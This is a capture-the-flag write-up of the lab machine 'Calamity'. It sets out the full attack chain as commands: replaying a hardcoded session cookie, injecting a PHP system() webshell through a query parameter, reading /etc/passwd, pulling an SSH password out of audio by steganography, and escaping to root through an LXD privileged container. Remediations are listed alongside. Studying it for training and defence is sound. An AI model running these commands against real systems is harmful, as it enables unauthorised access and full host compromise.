Calamity
Summary
Target calamity ($TARGET) runs an aging Apache 2.4.18/PHP stack with a single custom admin panel. The panel issued an identical, hardcoded session cookie to every visitor regardless of login outcome; replaying that cookie granted full authenticated access without knowing any real password. The authenticated panel accepted my own HTML, including raw PHP, via a query parameter and evaluated it server-side, turning a one-line payload into a remote-code-execution shell running as the web server account www-data.
Through that shell the user flag was read directly, and two audio files in the public uploads directory were retrieved and found to contain an SSH password hidden in the audio track via steganography. That credential authenticated the local user xalvas over SSH; checking group membership immediately revealed xalvas belonged to the lxd group: a well-known Linux privilege-escalation primitive where any group member can instruct the LXD daemon to launch a privileged container that bind-mounts the entire host filesystem, granting root-level read/write access to every file on the server and completing full compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export COOKIE="<the-session-cookie-you-captured>"Attack path: how the box was taken
Exact commands 4
Version scan with HTTP metadata on both live ports.
$ nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGET
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http Apache httpdEnumerate the web root; identify login pages, directory listings, and interesting paths.
$ curl -sS -i http://$TARGET/Confirm the admin panel exists and note any Set-Cookie headers on the unauthenticated response.
$ curl -sS -i http://$TARGET/admin.phpCheck whether the uploads directory is publicly browsable and list its contents.
$ curl -sS -i http://$TARGET/uploads/Exact commands 2
Submit any credentials and observe 'a session cookie in the response, regardless of whether the password is correct.
$ curl -sS -i --data "user=admin&pass=$PASSWORD" http://$TARGET/admin.phpReplay the static cookie; the server grants full admin panel access without a valid password.
$ curl -sS -i -b "$COOKIE" http://$TARGET/admin.phpFixReplace the hardcoded session cookie with genuine server-side authenticationCritical
Exact commands 2
Inject the PHP webshell and confirm code execution as www-data.
$ curl -sS --max-time 20 -b "$COOKIE" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=id' http://$TARGET/admin.phpConfirm kernel version and OS architecture through the same RCE channel.
$ curl -sS --max-time 20 -b "$COOKIE" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=uname -a' http://$TARGET/admin.phpFixRemove server-side evaluation of user-supplied content and apply strict output encodingCritical
Exact commands 3
Read the user flag directly through the www-data webshell.
$ curl -sS --max-time 10 -b "$COOKIE" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=cat /home/xalvas/user.txt' http://$TARGET/admin.phpEnumerate the uploads directory to identify files of interest.
$ curl -sS --max-time 10 -b "$COOKIE" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=ls -la /var/www/html/uploads/' http://$TARGET/admin.phpDownload both audio files directly over HTTP: no credentials required since the directory is publicly accessible.
$ curl -sS -o recov.wav http://$TARGET/uploads/recov.wav && curl -sS -o rick.wav http://$TARGET/uploads/rick.wavExact commands 4
Enumerate local user accounts via the webshell to know which names to target with the recovered credential.
$ curl -sS --max-time 10 -b "$COOKIE" --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=cat /etc/passwd' http://$TARGET/admin.phpMix recov.wav and the inverted channel of rick.wav; phase-cancellation reveals hidden audio content.
$ sox recov.wav rick.wav -M mixed.wav remix 1v1 2v-1Play the processed output to hear any hidden vocal or numeric content (requires ffmpeg/ffplay).
$ ffplay mixed.wavNon-interactively confirm the recovered credential authenticates xalvas over SSH.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password xalvas@$TARGET 'id'FixRemove credentials from web-accessible files and rotate all affected account passwordsHigh
Exact commands 3
Open an interactive SSH session as xalvas.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password xalvas@$TARGETConfirm group memberships: lxd, docker, or disk membership is functionally equivalent to root.
$ id
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)Check whether a pre-built LXD image is already staged on the target.
$ ls -la /tmp/lxd-bb-image/Exact commands 6
Package the pre-staged busybox image directory into the tarball format LXD expects for import.
$ cd /tmp && tar czf lxd-bb.tar.gz -C lxd-bb-image .Import the busybox image into the local LXD daemon under the alias 'bbimage'.
$ lxc image import /tmp/lxd-bb.tar.gz --alias bbimageCreate a privileged container: security.privileged=true disables UID mapping so container root equals host root.
$ lxc init bbimage privesc -c security.privileged=trueBind-mount the entire host filesystem into the container at /mnt/root.
$ lxc config device add privesc hostroot disk source=/ path=/mnt/root recursive=trueStart the container and drop into a shell; you are now root with unrestricted access to the host filesystem.
$ lxc start privesc && lxc exec privesc -- shRead the root flag from inside the container: this path maps to /root/root.txt on the host.
$ cat /mnt/root/root/root.txtFixRemove non-administrator accounts from the lxd group and restrict LXD daemon accessHigh
Attack patterns used
The transferable techniques behind this compromise.
LXD/LXC Group EscapeLinux · Privilege EscalationT1611
What it is
Membership in the lxd (or docker) group is root-equivalent. An unauthorised user imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files, escaping the container to own the host.
Why it works
The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.